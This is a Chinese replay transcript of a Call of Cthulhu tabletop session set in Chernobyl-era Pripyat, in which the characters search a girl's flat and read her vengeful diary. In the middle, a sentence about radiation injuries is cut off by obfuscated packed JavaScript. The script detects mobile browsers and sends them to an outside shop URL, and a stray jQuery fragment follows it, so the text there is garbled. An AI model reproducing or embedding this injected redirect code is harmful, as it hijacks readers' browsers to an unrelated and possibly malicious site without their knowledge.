（op播放完毕）
（画面亮起）
玛格丽特·卡文迪许：现在问题已经摆在我们眼前了。我们要被不知道谁用作祭品召唤北风之主，时间大概就在今晚。现在走回头路逃跑已经不行了，我估计那些幻听和幻视都是幕后黑手做的。想活命，要么我们把幕后黑手找出来干掉，要么让召唤失败。
加西亚·格林：哪一条都不容易。
玛格丽特·卡文迪许（叹气）：是啊。
库珀·特纳：话又说回来了，那些容器真的会是尸体吗？会不会是市立寄宿学校那些孩子？
玛格丽特·卡文迪许：……
玛格丽特·卡文迪许：等等，我好像知道他们当时在和哪些种族做交易了。
不周（kp）：嗯？你现实克苏鲁过啦？
玛格丽特·卡文迪许：（招手）来，哥，你听听我说的对不对。
库珀·特纳：说上悄悄话了还，有什么是我们不能听的？
玛格丽特·卡文迪许：我超游，pl现实克苏鲁过了，但pc没有，所以你们别听。
加西亚·格林：如果容器指的是那些孩子，那么雅科夫等人的反常就有了解释……因为被用作了容器？可是容纳什么呢？
玛格丽特·卡文迪许：不过雅科夫的木风车是23日补交的，23日在记录里是收容容器，24号才支出，怎么着他也应该在容纳什么东西之后才发生变化。另外按理来说他本应该在18日上交，文档里也没提到18号。我觉得这好像和记录对不太上。
加西亚·格林：……如果阴谋论一下呢？
库珀·特纳：？
玛格丽特·卡文迪许：？
加西亚·格林：如果我是负责交易的人，既然这份文件就放在市政大楼档案室里，有心人翻一翻就能找到，那么我肯定要做些什么让人联想不到事实，比如修改日期。
库珀·特纳：可是记录的时候不会感觉很别扭吗？万一一个不小心写错了……
加西亚·格林：和密谋的见不得人的交易被人发现比起来，我恐怕这点困难记录者还是能够克服的。
玛格丽特·卡文迪许：除了这些好像也没什么了……等我们那条线看看还能发现什么吧。
加西亚·格林：那我和马尔梅拉多夫去购物中心。
不周（kp）：好，你们步行前往购物中心废墟，鉴于你们采用步行方式，到达时已过中午，这只是座普通的废墟而已，连建筑原本的面貌都快看不出来了。
加西亚·格林：……
不周（kp）：马尔梅拉多夫掏出了压缩饼干，你们在购物中心的废墟之上草草用了午餐。
不周（kp）：卡文迪许和特纳这边，你们顺着寄宿学校中找到的信息前往居民区。雅科夫所住的公寓房已经整座楼坍圮，卓娅家倒还“健在”。它位于居民楼的二层，楼梯摇摇欲坠，但勉强能让你们走上去。房门并没有上锁，轻轻一推就推开了。
不周（kp）：与其他地区无异，公寓房内的窗户玻璃早已全部碎裂，损坏的家具让你们前行困难。你们注意到，似乎这间房子的落灰中，隐隐约约有一条小径。这是卓娅家的布局。
（展示卓娅家大致布局）
玛格丽特·卡文迪许：……有人来过这里？
库珀·特纳：（寒颤）真的是人吗？
玛格丽特·卡文迪许：我能通过落灰的情况判断是什么东西来过这里吗？
不周（kp）：嗯……你过个知识或者灵感。
【玛格丽特·卡文迪许（尧光）进行知识检定：40/90，成功。】
不周（kp）：以你的生活经验而言，这似乎是某种啮齿类动物的足迹。
玛格丽特·卡文迪许：老鼠？
不周（kp）：比寻常的老鼠大上不少……我是说脚印。
库珀·特纳：啊？难道是巨型老鼠？！
玛格丽特·卡文迪许：那这老鼠不会吃人吧？
库珀·特纳：不要啊那太恐怖了！
玛格丽特·卡文迪许：算了，走一步看一步吧，我沿着老鼠的足迹走。
不周（kp）：你一路追踪着不明足迹，这条与众不同的痕迹蜿蜒通向儿童房。
库珀·特纳：那我去卫生间，然后去主卧。要是卡文迪许遇到搞不定的事，随时叫我啊。
加西亚·格林：你不会是在怕老鼠吧？
库珀·特纳：说什么呢，我像是那种人吗！
加西亚·格林：哦，不是吗？
不周（kp）：卫生间没有什么值得注意的地方，主卧的床铺倒是意外地整齐。
不周（kp）：至于儿童房那边，在卡文迪许踏入房间的一瞬间，你的盖革计数器响起了警报，示数上升至1.08微希沃特每小时。
不周（kp）：你注意到，与此前你见过的所有普里皮亚季的场所相比，这间儿童房内的积灰少得不可思议，并且床铺打理得即便算不上是豆腐块，也能称得上整洁。
不周（kp）：你人类学点了吗？
玛格丽特·卡文迪许：没啊，我一个核物理学家怎么会人类学。
加西亚·格林：我点了。
玛格丽特·卡文迪许：？
库珀·特纳：你一个演员，还会人类学？
加西亚·格林：嗯哼，有时候我需要扮演不同文化背景下的人物，事前到当地生活上几个月，持续观察那里的文化，也算是一种职业素养吧。
不周（kp）：但你不在场啊，你还在市政大楼呢。这样，尧光你过一个灵感。
玛格丽特·卡文迪许：（流汗）……哥你别搞我啊，我san可就剩33点了。
不周（kp）：（笑）放心，不扣san。
【玛格丽特·卡文迪许（尧光）进行灵感检定：37/65，成功。】
不周（kp）：刹那间，你忽然意识到近期还有人使用过这张床铺，这一点从床沿和被单的独特褶皱中就可以看出。
玛格丽特·卡文迪许：……
玛格丽特·卡文迪许：不会吧，不会是老鼠睡的吧？！
库珀·特纳：啊？这年头老鼠都会睡床了？？？
玛格丽特·卡文迪许：万一辐射一照，老鼠变异了，脑子变得更大了呢？没准真能学会。
加西亚·格林：卡文迪许或许在核物理领域没什么建树，但要是这理论写成论文发表了，你绝对会在生物学领域一鸣惊人。
玛格丽特·卡文迪许：太好了，出去就写一篇论文发SCI或Nature。
玛格丽特·卡文迪许：大家好我要转专业了。
库珀·特纳：在核物理和生物学交叉学科这方面一骑绝尘。
玛格丽特·卡文迪许：切尔诺贝利恐成该新兴学科领域的研究宝地。
库珀·特纳：Make 切尔诺贝利旅游业 great again。
玛格丽特·卡文迪许：绷不住了，我这次来还真是冲着研究核事故对普里皮亚季地区三十年后的影响来的。
不周（kp）：？不是说来圣地巡礼吗，怎么还研究上了？有人偷偷内卷啊——
玛格丽特·卡文迪许：不好意思啊，职业病犯了。
不周（kp）：可惜你的职业病对看懂俄文没什么帮助。来吧，你在儿童房的书桌上发现了几本笔记，全部都是俄文，炭笔字。
玛格丽特·卡文迪许：机翻又要来了吗？
不周（kp）：不借助翻译软件，你也能看出这是一些形似日记的散乱记载，不过没有标明日期。你还发现，构成最初许多页的记录写得歪歪斜斜，比右撇子突然改用左手写字还不如，字迹甚至凌乱到干扰阅读的地步。非要形容的话，仿佛是整只手掌握着笔写下的文字。
不周（kp）：来呗，投个俄语看看翻译软件靠不靠谱。
玛格丽特·卡文迪许：除非来个大成功，否则这个团我怕是看不到靠谱的翻译了。
【玛格丽特·卡文迪许（尧光）进行俄语检定：19/1，失败。】
玛格丽特·卡文迪许：你说这么低的数值要是能出现在san check上该有多好……
加西亚·格林：光看你投san check的出目，DND可能更适合你一点。
玛格丽特·卡文迪许：唉，我看我玩DND恐怕出目会像COC。
库珀·特纳：“你玩音游像在玩东方”是吧。
玛格丽特·卡文迪许：（苦笑）哈哈。
不周（kp）：那来吧，以下是你翻译软件上显示出来的东西。
？？？：“守卫我们的人突然离开，所以我偷偷朝上溜了很多楼梯。下车后，我立刻看到街对面格吉娜的餐厅……关门了。但是我的老师告诉我写下我遇到的东西并改善自己的作文……成年人感到恐慌，没人注意到。我上学去寻找父母和兄弟姐妹。请星期五来接我。”
？？？：“学校里没有人。我和另一个大人一起潜入医院后，发现了我的兄弟，但他看上去很奇怪，皮肤变紫了，看上去很黏，他很害怕……你把火扑灭了吗？我？……我怎么变回去？”
玛格丽特·卡文迪许：……
玛格丽特·卡文迪许：我要现实san check了。
库珀·特纳：不至于吧……
加西亚·格林：日记主人公应该是卓娅吧？兄弟，灭火，皮肤变紫，应该是说弗拉西作为消防员参与4月26日灭火行动，接触到过多辐射……很黏又是什么？
玛格丽特·卡文迪许：哦对，我先把这几页文件和翻译的内容发到群里面。
玛格丽特·卡文迪许：我也觉得是卓娅。很黏……会不会是指弗拉西接触过多辐射，全身肿胀……不行我换个方向坐，我现在看不得不周。
玛格丽特·卡文迪许：是柳德米拉还是谁来着，似乎有回忆过当时切尔诺贝利消防员的受伤情况，如果我记得没错，那名消防员第一天开始全身肿胀，慢慢地，皮肤一碰就掉无法愈合，全身溃烂，头发头皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977698|214782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
血水糊糊的粘留在枕巾上，一周后被部分分解的内脏呼吸道咳呛住。两周后痛苦死去。
库珀·特纳：不过弗拉西是在26日晚间去世的吧？
玛格丽特·卡文迪许：我印象中，爆炸发生两周以来，遇难人数一直停留在两人，其中一个是同时受到辐射和蒸汽烧伤的核电站工程师，还有一个是循环泵操作员，事故发生时他在的楼层坍塌，下落不明。
加西亚·格林：这和消防署里找到的资料不一致呢……
玛格丽特·卡文迪许：不过这些信息也只是正常世界线里发生的，如果有别的什么搅和进来……嗯，可能消防员的牺牲会提前吧。
库珀·特纳：会吗？
玛格丽特·卡文迪许：我不确定。不过第一批消防员是从5月7日开始陆陆续续病逝的……唔，不对，柳德米拉是其中一位消防员的妻子，医生护士们一直在阻挠她去见她丈夫，虽然她最后成功了，但她应该是唯一一个能进这群消防员病房的家属，卓娅是怎么溜进去的？
加西亚·格林：会是因为“成年人感到恐慌，没人注意到”吗？
玛格丽特·卡文迪许：我感觉不至于吧……再怎么恐慌，也不至于连一个小姑娘溜进辐射病房都发现不了……否则那些想陪在丈夫身边的、消防员的妻子们岂不是蜷着身子就能躲过医护人员去见丈夫了？
不周（kp）：还有几段内容。读到下一段文字时，卡文迪许能够发现原本写得一塌糊涂的字迹似乎得到了改善，并且越到后面写得越端正。
？？？：“我的兄弟去世了，父母也去世了。当我回到学校时，没有人在等我……这里没有人……显然我被困了，为什么？还有人在做我吗？是什么样的木工作业？”
？？？：“我不是成年人，所以我给雅科夫打了电话，和我一起去了政府大楼，但是我不敢去，所以我一个人去。我不能打开保险柜，但是我仍然有很多事情要做。我正在阅读。我可能已经知道为什么……这都是因为当局，把我们当作货币对待也杀死了我的兄弟……！”
玛格丽特·卡文迪许：……
库珀·特纳：……
加西亚·格林：……
玛格丽特·卡文迪许：那什么，马尔梅拉多夫现在在忙吗？能不能请他翻译一下？
不周（kp）：他现在还在和格林一起翻箱倒柜，等你们探索完这里，他的翻译结果差不多才能出来。
库珀·特纳：那咋办，这啥玩意儿啊，前言不搭后语的……
玛格丽特·卡文迪许：……先将就着看吧。嗯……不行，我还是读不懂。
加西亚·格林：慢慢来吧。首先她提到木工作业，似乎她也不知道自己会交上什么作品。其次是“我被困了”，她明明能去医院，还能回学校，为什么说自己被困住了？以及“还有人在做我”是什么意思？“做”是不是可以理解为“扮演、扮作”？难道是有什么人盗用了她的身份？
库珀·特纳：可是怎么办得到呢，卓娅可还是个小孩儿！要扮成小孩的样子也很困难的吧。
玛格丽特·卡文迪许：不过这份文件能说明寄宿学校的孩子们的确被用作交易吧，所以卓娅才会说自己被当作货币对待。
加西亚·格林：所以她被用于交易，而有什么人在交易期间替代了她的身份，代她上交了木工作业……？
玛格丽特·卡文迪许：嗯……还有别的资料吗？
不周（kp）：有。这之后的笔记中，夹杂了许多深恶痛绝的诅咒与谩骂，你清晰地感受到，随着字迹逐渐端正起来，日记作者对苏联的仇恨也正变得越发深刻。接着，从第三册笔记本起，你可以从字迹的色泽看出，以下这些记录距今的年份变近了。
玛格丽特·卡文迪许：很新鲜哈。
？？？：“最近，我注意到雅科夫和我变得越来越陌生和害怕。是因为辐射吗？显然其他孩子已经死了……但他们是怪物，但在这里无关紧要。永远，这个城市已经死了。”
玛格丽特·卡文迪许：还有倒装。
？？？：“这个国家允许游客进入……这足以使我们悲惨吗？我们仍然在这个可怕的地方省钱。让游客来的人把我们的痛苦当成玩笑！这个国家，这些游客非常可恶，太可恶了太可恶了太可恶了太可恶了太可恶了太可恶了太可恶了……”
？？？：“我……想让这个国家的领导嘲笑我们的辛辣游客……这里……每个人都知道我的经历！我的兄弟都经历过了！”
？？？：“很有趣……他们害怕那个水泥盖子……”
不周（KP）：能够构成清晰条理的笔记，到这里就结束了。往后的全部内容，都只剩下无止尽的谩骂，以及关于“一定要报仇”的赌咒发誓。
玛格丽特·卡文迪许：她要对石棺下手？！疯了吧！
加西亚·格林：很明显，她对苏联的恨已经盖过了一切，复仇的愿望已经让她发了疯。
（画面渐隐）
（开始播放ed）
-tbc-